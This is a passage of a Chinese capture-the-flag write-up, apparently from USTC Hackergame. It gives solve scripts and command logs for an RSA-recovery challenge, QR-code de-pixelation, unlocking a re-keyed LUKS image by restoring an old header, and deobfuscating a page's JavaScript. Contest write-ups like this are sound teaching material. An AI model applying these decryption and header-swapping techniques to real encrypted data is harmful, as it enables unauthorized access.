highlighter-rouge">y! mod x = -1 * t**(-1) mod x</code> 了。由于 <code class="language-plaintext highlighter-rouge">x-y</code> 很小,这是可行的。</p>
<p>其次来求 <code class="language-plaintext highlighter-rouge">q</code>。首先,<code class="language-plaintext highlighter-rouge">value</code> 应当为 10 个连续的质数,所以由最后一个质数 <code class="language-plaintext highlighter-rouge">value[-1]</code> 的值可以得到所有 10 个质数的值。而由于 <code class="language-plaintext highlighter-rouge">value_q = qq**e mod n</code> ,而我们知道 <code class="language-plaintext highlighter-rouge">e</code> 和 <code class="language-plaintext highlighter-rouge">n</code> 的质因数分解,所以我们可以轻松算出 <code class="language-plaintext highlighter-rouge">qq</code>,而 <code class="language-plaintext highlighter-rouge">q</code> 则是 <code class="language-plaintext highlighter-rouge">sympy.nextprime(qq)</code>。这里可以检查一下 <code class="language-plaintext highlighter-rouge">qq</code> 是否是质数,如果不是这说明代码写错了。</p>
<p>有了 <code class="language-plaintext highlighter-rouge">p</code> 和 <code class="language-plaintext highlighter-rouge">q</code> 当然就能破解 RSA 了。完整的代码如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">math</span>
<span class="kn">import</span> <span class="nn">sympy</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391760451</span>
<span class="n">y</span> <span class="o">=</span> <span class="mi">11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391661439</span>
<span class="k">def</span> <span class="nf">get_t</span><span class="p">():</span>
<span class="k">return</span> <span class="p">((</span><span class="o">-</span><span class="mi">1</span> <span class="o">**</span> <span class="p">(</span><span class="n">x</span><span class="o">-</span><span class="n">y</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span><span class="o">*</span><span class="n">math</span><span class="p">.</span><span class="n">factorial</span><span class="p">(</span><span class="n">x</span><span class="o">-</span><span class="n">y</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span> <span class="o">%</span> <span class="n">x</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">get_t</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_y_fac_mod_x</span><span class="p">():</span>
<span class="k">return</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">*</span> <span class="p">(</span><span class="n">sympy</span><span class="p">.</span><span class="n">mod_inverse</span><span class="p">(</span><span class="n">t</span><span class="p">,</span><span class="n">x</span><span class="p">)))</span> <span class="o">%</span> <span class="n">x</span>
<span class="n">y_fac_mod_x</span> <span class="o">=</span> <span class="n">get_y_fac_mod_x</span><span class="p">()</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="n">nextprime</span><span class="p">(</span><span class="n">y_fac_mod_x</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_value</span><span class="p">():</span>
<span class="n">v</span> <span class="o">=</span> <span class="p">[</span><span class="mi">80096058210213458444437404275177554701604739094679033012396452382975889905967</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">):</span>
<span class="n">v</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">sympy</span><span class="p">.</span><span class="n">prevprime</span><span class="p">(</span><span class="n">v</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span>
<span class="k">return</span> <span class="n">v</span>
<span class="n">value</span> <span class="o">=</span> <span class="n">get_value</span><span class="p">()</span>
<span class="n">value_q</span> <span class="o">=</span> <span class="mi">5591130088089053683141520294620171646179623062803708281023766040254675625012293743465254007970358536660934858789388093688621793201658889399155357407224541324547522479617669812322262372851929223461622559971534394847970366311206823328200747893961649255426063204482192349202005330622561575868946656570678176047822163692259375233925446556338917358118222905050574458037965803154233167594946713038301249145097770337253930655681648299249481985768272321820718607757023350742647019762122572886601905212830744868048802864679734428398229280780215896045509020793530842541217790352661324630048261329493088812057300480085895399922301827190211956061083460036781018660201163819104150988531352228650991733072010425499238731811243310625701946882701082178190402011133439065106720309788819</span>
<span class="k">def</span> <span class="nf">get_q</span><span class="p">():</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">phi_n</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">n</span> <span class="o">*</span> <span class="n">value</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">phi_n</span> <span class="o">=</span> <span class="n">phi_n</span> <span class="o">*</span> <span class="p">(</span><span class="n">value</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">qq_d</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="n">mod_inverse</span><span class="p">(</span><span class="n">e</span><span class="p">,</span><span class="n">phi_n</span><span class="p">)</span>
<span class="n">qq</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">value_q</span><span class="p">,</span> <span class="n">qq_d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="k">return</span> <span class="n">sympy</span><span class="p">.</span><span class="n">nextprime</span><span class="p">(</span><span class="n">qq</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">get_q</span><span class="p">()</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="n">mod_inverse</span><span class="p">(</span><span class="n">e</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">c</span> <span class="o">=</span> <span class="mi">110644875422336073350488613774418819991169603750711465190260581119043921549811353108399064284589038384540018965816137286856268590507418636799746759551009749004176545414118128330198437101472882906564195341277423007542422286760940374859966152871273887950174522820162832774361714668826122465471705166574184367478</span>
<span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">math</span><span class="p">.</span><span class="n">ceil</span><span class="p">(</span><span class="n">math</span><span class="p">.</span><span class="n">log</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="mi">256</span><span class="p">)),</span> <span class="s">"big"</span><span class="p">))</span>
</code></pre></div></div>
<h2 id="马赛克">马赛克</h2>
<p>这个打码过程几乎是可逆的。一个马赛克像素对应的二维码像素也就几个,稍微枚举一下就可以得到能打出这种码的像素组合。同时我们还可以利用二维码结构的信息,先行填上去几个点。如此便可还原很大一部分二维码像素的内容。至于剩下无法确认的部分,单纯依靠二维码本身的纠错特性就能还原内容了。还原代码如下(写得挺乱的):</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="n">BOX_Y</span><span class="p">,</span><span class="n">BOX_X</span> <span class="o">=</span> <span class="mi">103</span><span class="p">,</span><span class="mi">137</span>
<span class="n">BOX_SIZE</span> <span class="o">=</span> <span class="mi">23</span>
<span class="n">BOX_N</span> <span class="o">=</span> <span class="mi">20</span>
<span class="n">QR_N</span> <span class="o">=</span> <span class="mi">57</span>
<span class="n">QR_SIZE</span> <span class="o">=</span> <span class="mi">11</span>
<span class="k">with</span> <span class="n">Image</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"./pixelated_qrcode.bmp"</span><span class="p">)</span> <span class="k">as</span> <span class="n">im</span><span class="p">:</span>
<span class="n">mosaic</span><span class="o">=</span><span class="p">[[</span><span class="n">im</span><span class="p">.</span><span class="n">getpixel</span><span class="p">((</span><span class="n">BOX_X</span><span class="o">+</span><span class="n">x</span><span class="o">*</span><span class="n">BOX_SIZE</span><span class="p">,</span><span class="n">BOX_Y</span><span class="o">+</span><span class="n">y</span><span class="o">*</span><span class="n">BOX_SIZE</span><span class="p">))</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BOX_N</span><span class="p">)]</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BOX_N</span><span class="p">)]</span>
<span class="n">qrcode</span><span class="o">=</span><span class="p">[[</span><span class="o">-</span><span class="mi">1</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">QR_N</span><span class="p">)]</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">QR_N</span><span class="p">)]</span>
<span class="c1"># 读取未打码部分
</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">627</span><span class="p">):</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">627</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="p">((</span><span class="n">BOX_X</span> <span class="o"><=</span> <span class="n">x</span> <span class="o"><</span> <span class="n">BOX_X</span><span class="o">+</span><span class="n">BOX_SIZE</span><span class="o">*</span><span class="n">BOX_N</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">BOX_Y</span> <span class="o"><=</span> <span class="n">y</span> <span class="o"><</span> <span class="n">BOX_Y</span><span class="o">+</span><span class="n">BOX_SIZE</span><span class="o">*</span><span class="n">BOX_N</span><span class="p">)):</span>
<span class="n">qrcode</span><span class="p">[</span><span class="n">y</span><span class="o">//</span><span class="n">QR_SIZE</span><span class="p">][</span><span class="n">x</span><span class="o">//</span><span class="n">QR_SIZE</span><span class="p">]</span><span class="o">=</span><span class="n">im</span><span class="p">.</span><span class="n">getpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">))</span>
<span class="c1"># 二维码格式要求的部分
</span> <span class="k">for</span> <span class="n">sx</span><span class="p">,</span><span class="n">sy</span> <span class="ow">in</span> <span class="p">[(</span><span class="mi">28</span><span class="p">,</span><span class="mi">28</span><span class="p">),(</span><span class="mi">28</span><span class="p">,</span><span class="mi">50</span><span class="p">),(</span><span class="mi">50</span><span class="p">,</span><span class="mi">28</span><span class="p">),(</span><span class="mi">50</span><span class="p">,</span><span class="mi">50</span><span class="p">)]:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">2</span><span class="p">)</span> <span class="ow">or</span> <span class="p">(</span><span class="n">i</span><span class="o">==-</span><span class="mi">2</span><span class="p">)</span> <span class="ow">or</span> <span class="p">(</span><span class="n">j</span><span class="o">==</span><span class="mi">2</span><span class="p">)</span> <span class="ow">or</span> <span class="p">(</span><span class="n">j</span><span class="o">==-</span><span class="mi">2</span><span class="p">):</span>
<span class="n">qrcode</span><span class="p">[</span><span class="n">sy</span><span class="o">+</span><span class="n">j</span><span class="p">][</span><span class="n">sx</span><span class="o">+</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="mi">0</span>
<span class="c1"># 对每一个马赛克像素找出所有可能的原始二维码像素组合
</span> <span class="n">selection</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">xi</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BOX_N</span><span class="p">):</span>
<span class="k">for</span> <span class="n">yj</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BOX_N</span><span class="p">):</span>
<span class="c1"># 找出对这个马赛克像素有贡献的原始二维码像素
</span> <span class="n">content</span><span class="o">=</span><span class="p">{}</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BOX_SIZE</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BOX_SIZE</span><span class="p">):</span>
<span class="n">x</span><span class="o">=</span><span class="n">BOX_X</span><span class="o">+</span><span class="n">BOX_SIZE</span><span class="o">*</span><span class="n">xi</span><span class="o">+</span><span class="n">i</span>
<span class="n">y</span><span class="o">=</span><span class="n">BOX_Y</span><span class="o">+</span><span class="n">BOX_SIZE</span><span class="o">*</span><span class="n">yj</span><span class="o">+</span><span class="n">j</span>
<span class="n">qrx</span><span class="o">=</span><span class="n">x</span><span class="o">//</span><span class="n">QR_SIZE</span>
<span class="n">qry</span><span class="o">=</span><span class="n">y</span><span class="o">//</span><span class="n">QR_SIZE</span>
<span class="k">if</span> <span class="ow">not</span> <span class="p">((</span><span class="n">qrx</span><span class="p">,</span><span class="n">qry</span><span class="p">)</span> <span class="ow">in</span> <span class="n">content</span><span class="p">):</span>
<span class="n">content</span><span class="p">[(</span><span class="n">qrx</span><span class="p">,</span><span class="n">qry</span><span class="p">)]</span><span class="o">=</span><span class="mi">0</span>
<span class="n">content</span><span class="p">[(</span><span class="n">qrx</span><span class="p">,</span><span class="n">qry</span><span class="p">)]</span><span class="o">+=</span><span class="mi">1</span>
<span class="n">source</span> <span class="o">=</span> <span class="p">[</span><span class="o">*</span><span class="n">content</span><span class="p">.</span><span class="n">keys</span><span class="p">()]</span>
<span class="n">known</span> <span class="o">=</span> <span class="p">[</span><span class="n">qrcode</span><span class="p">[</span><span class="n">y</span><span class="p">][</span><span class="n">x</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span> <span class="ow">in</span> <span class="n">source</span><span class="p">]</span>
<span class="n">guess</span> <span class="o">=</span> <span class="p">[[</span><span class="n">value</span><span class="p">]</span> <span class="k">if</span> <span class="n">value</span><span class="o">>=</span><span class="mi">0</span> <span class="k">else</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">255</span><span class="p">]</span> <span class="k">for</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">known</span><span class="p">]</span>
<span class="n">guessId</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="n">guess</span><span class="p">]</span>
<span class="n">possibles</span> <span class="o">=</span> <span class="p">[]</span>
<span class="c1"># 枚举所有可能性,找出所有可能正确的可能性
</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="nb">sum</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">guessId</span><span class="p">)):</span>
<span class="nb">sum</span> <span class="o">+=</span> <span class="n">content</span><span class="p">[</span><span class="n">source</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span><span class="o">*</span><span class="n">guess</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">guessId</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span>
<span class="n">mean</span> <span class="o">=</span> <span class="n">math</span><span class="p">.</span><span class="n">floor</span><span class="p">(</span><span class="nb">sum</span><span class="o">/</span><span class="p">(</span><span class="n">BOX_SIZE</span><span class="o">**</span><span class="mi">2</span><span class="p">))</span>
<span class="k">if</span><span class="p">(</span><span class="n">mosaic</span><span class="p">[</span><span class="n">yj</span><span class="p">][</span><span class="n">xi</span><span class="p">]</span><span class="o">==</span><span class="n">mean</span><span class="p">):</span>
<span class="n">possible</span> <span class="o">=</span><span class="p">[(</span><span class="n">source</span><span class="p">[</span><span class="n">i</span><span class="p">],</span><span class="n">guess</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">guessId</span><span class="p">[</span><span class="n">i</span><span class="p">]])</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">guessId</span><span class="p">))]</span>
<span class="k">print</span><span class="p">(</span><span class="n">possible</span><span class="p">)</span>
<span class="n">possibles</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">possible</span><span class="p">)</span>
<span class="n">has_next</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">guessId</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">guessId</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">+</span><span class="mi">1</span><span class="o"><</span><span class="nb">len</span><span class="p">(</span><span class="n">guess</span><span class="p">[</span><span class="n">i</span><span class="p">]):</span>
<span class="n">has_next</span> <span class="o">=</span> <span class="bp">True</span>
<span class="n">guessId</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
<span class="n">guessId</span><span class="p">[</span><span class="n">j</span><span class="p">]</span><span class="o">=</span><span class="mi">0</span>
<span class="k">break</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">has_next</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">selection</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">possibles</span><span class="p">)</span>
<span class="c1"># 找出可以完全确定原始内容的马赛克像素,并以此排除一些其他马赛克像素的某些可能性
</span> <span class="c1"># 重复执行,直到无法进一步确认
</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">confirmed</span><span class="o">=</span><span class="p">[</span><span class="o">*</span><span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span><span class="nb">len</span><span class="p">(</span><span class="n">x</span><span class="p">)</span><span class="o">==</span><span class="mi">1</span><span class="p">,</span><span class="n">selection</span><span class="p">)]</span>
<span class="n">unconfirmed</span><span class="o">=</span><span class="p">[</span><span class="o">*</span><span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span><span class="nb">len</span><span class="p">(</span><span class="n">x</span><span class="p">)</span><span class="o">!=</span><span class="mi">1</span><span class="p">,</span><span class="n">selection</span><span class="p">)]</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">confirmed</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">new_cells</span><span class="o">=</span><span class="p">{}</span>
<span class="k">for</span> <span class="n">possibles</span> <span class="ow">in</span> <span class="n">confirmed</span><span class="p">:</span>
<span class="n">possible</span><span class="o">=</span><span class="n">possibles</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">for</span> <span class="n">p</span><span class="p">,</span><span class="n">v</span> <span class="ow">in</span> <span class="n">possible</span><span class="p">:</span>
<span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="o">=</span><span class="n">p</span>
<span class="k">if</span> <span class="n">qrcode</span><span class="p">[</span><span class="n">y</span><span class="p">][</span><span class="n">x</span><span class="p">]</span><span class="o"><</span><span class="mi">0</span><span class="p">:</span>
<span class="n">new_cells</span><span class="p">[</span><span class="n">p</span><span class="p">]</span><span class="o">=</span><span class="n">v</span>
<span class="n">qrcode</span><span class="p">[</span><span class="n">y</span><span class="p">][</span><span class="n">x</span><span class="p">]</span><span class="o">=</span><span class="n">v</span>
<span class="k">print</span><span class="p">(</span><span class="n">new_cells</span><span class="p">)</span>
<span class="n">selection</span><span class="o">=</span><span class="p">[</span><span class="o">*</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">ps</span><span class="p">:[</span><span class="o">*</span><span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">p</span><span class="p">:</span><span class="nb">all</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">ptv</span><span class="p">:(</span><span class="n">qrcode</span><span class="p">[</span><span class="n">ptv</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">]][</span><span class="n">ptv</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]]</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">or</span> <span class="p">(</span><span class="n">qrcode</span><span class="p">[</span><span class="n">ptv</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">]][</span><span class="n">ptv</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]]</span> <span class="o">==</span> <span class="n">ptv</span><span class="p">[</span><span class="mi">1</span><span class="p">]),</span><span class="n">p</span><span class="p">)),</span><span class="n">ps</span><span class="p">)],</span><span class="n">unconfirmed</span><span class="p">)]</span>
<span class="c1"># 在图片上填上所有能确定内容的的像素
</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">627</span><span class="p">):</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">627</span><span class="p">):</span>
<span class="k">if</span> <span class="p">((</span><span class="n">BOX_X</span> <span class="o"><=</span> <span class="n">x</span> <span class="o"><</span> <span class="n">BOX_X</span><span class="o">+</span><span class="n">BOX_SIZE</span><span class="o">*</span><span class="n">BOX_N</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">BOX_Y</span> <span class="o"><=</span> <span class="n">y</span> <span class="o"><</span> <span class="n">BOX_Y</span><span class="o">+</span><span class="n">BOX_SIZE</span><span class="o">*</span><span class="n">BOX_N</span><span class="p">)):</span>
<span class="n">v</span><span class="o">=</span><span class="n">qrcode</span><span class="p">[</span><span class="n">y</span><span class="o">//</span><span class="n">QR_SIZE</span><span class="p">][</span><span class="n">x</span><span class="o">//</span><span class="n">QR_SIZE</span><span class="p">]</span>
<span class="k">if</span> <span class="n">v</span><span class="o">>=</span><span class="mi">0</span><span class="p">:</span>
<span class="n">im</span><span class="p">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">),</span><span class="n">v</span><span class="p">)</span>
<span class="n">im</span><span class="p">.</span><span class="n">save</span><span class="p">(</span><span class="s">'unmosaic.bmp'</span><span class="p">)</span>
</code></pre></div></div>
<p>实际运行时,一共四百个马赛克像素中,有大约二百五十个可以完全还原。做到这个程度,确实能扫出来了。二维码实际内容还在 Flag 前后加了垃圾数据,可能是为了让二维码变得大一些。</p>
<h2 id="加密的-u-盘">加密的 U 盘</h2>
<p>读过 <a href="https://github.com/USTC-Hackergame/hackergame2020-writeups/blob/master/official/%E5%AE%A4%E5%8F%8B%E7%9A%84%E5%8A%A0%E5%AF%86%E7%A1%AC%E7%9B%98/README.md" target="_blank" rel="noopener">去年官方 writeup</a> 的都知道,LUKS 的密码和 master-key-file 是两回事。如果单纯换密码不换 master-key-file ,那依旧可以用 master-key-file 重置密码。我这里直接用 <code class="language-plaintext highlighter-rouge">cryptsetup</code> 的 <code class="language-plaintext highlighter-rouge">luksHeaderBackup</code> 和 <code class="language-plaintext highlighter-rouge">luksHeaderRestore</code>,把 day1 的元信息粘到 day2 上,就可以直接用旧密码读取内容了。具体过程如下:</p>
<pre><code class="language-log">$ # 首先把分区提取出来
$ fdisk -l day1.img
# 此处省略输出
$ fdisk -l day2.img
# 此处省略输出
$ dd if=day1.img of=day1-inner.img bs=512 count=38879 skip=2048
$ dd if=day2.img of=day2-inner.img bs=512 count=38879 skip=2048
$ # 验证一下第一天的密码
$ sudo cryptsetup luksOpen day1-inner.img day1
Enter passphrase for day1-inner.img:
$ sudo mkdir /mnt/day1
$ sudo mount /dev/mapper/day1 /mnt/day1
$ # 开始复制粘贴 Header
$ sudo cryptsetup luksHeaderBackup day1-inner.img --header-backup-file header.bin
$ sudo cryptsetup luksHeaderRestore day2-inner.img --header-backup-file header.bin
$ # 使用旧密码装载
$ sudo cryptsetup luksOpen day2-inner.img day2
Enter passphrase for day2-inner.img:
$ sudo mkdir /mnt/day2
$ sudo mount /dev/mapper/day2 /mnt/day2
$ # 此时便可在 /mnt/day1 和 /mnt/day2 读取两天的磁盘各自的内容
</code></pre>
<p>注意,对于像我这样的 WSL 老用户,需要提前更新到 WSL2,并且安装最新的 WSL2 内核,不然会因为内核没有 <code class="language-plaintext highlighter-rouge">dm-crypt</code> 模块而无法打开 LUKS 镜像。</p>
<p>顺带一提,第一天的镜像里真的有随机过程的资料。</p>
<h2 id="minecraft">minecRaft</h2>
<p>打开控制台,立即被断到了不知道哪来的 <code class="language-plaintext highlighter-rouge">debugger</code> 语句里。看一下源码,发现有一个 <code class="language-plaintext highlighter-rouge">setInterval</code> 会每秒钟构造一个函数触发断点。同时可以看到,大部分 JavaScript 文件都被混淆了,所以首先我们应当搞明白这些代码在干什么。Chrome 的开发者工具的 Source 一栏内有一个 Overrides 一项(<a href="https://developer.chrome.com/blog/new-in-devtools-65/#overrides" target="_blank" rel="noopener">相关介绍</a>),可以让我们直接修改内容并刷新重新运行,这使得我们可以用这个功能方便地进行反混淆。首先,我们可以直接把触发 <code class="language-plaintext highlighter-rouge">debugger</code> 的代码删掉,其次我们可以对代码逐步进行等价替换并重新运行。</p>
<p>在页面引用的几个混淆过的 JS 文件当中,<code class="language-plaintext highlighter-rouge">jsm/miscs/flag.js</code> 最为可疑。我们考虑将其还原成可读的代码。整理之后可以发现,有一个函数从一个数组被用来获取字符串,而在模块加载时有一段代码会调整字符串数组的顺序,于是便修改代码输出处理过的字符串数组,再把所有获取字符串的地方替换成实际获取到的字符串。进行一番还原之后,可以发现 <code class="language-plaintext highlighter-rouge">gyflagh</code> 函数判断了一个输入在进行 <code class="language-plaintext highlighter-rouge">encrypt</code> 操作之后是否为特定值。而 <code class="language-plaintext highlighter-rouge">encrypt</code> 相关代码还原后如下:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">String</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">encrypt</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">key</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">ctx</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mh">0x2</span><span class="p">),</span> <span class="nx">keys</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">str</span> <span class="o">=</span> <span class="dl">''</span><span class="p">,</span> <span class="nx">plaintext</span> <span class="o">=</span> <span class="nx">escape</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mh">0x4</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span>
<span class="nx">keys</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">Str4ToLong</span><span class="p">(</span><span class="nx">key</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">i</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">,</span> <span class="p">(</span><span class="nx">i</span> <span class="o">+</span> <span class="mh">0x1</span><span class="p">)</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="nx">plaintext</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="mh">0x8</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">ctx</span><span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">Str4ToLong</span><span class="p">(</span><span class="nx">plaintext</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">i</span><span class="p">,</span> <span class="nx">i</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">));</span>
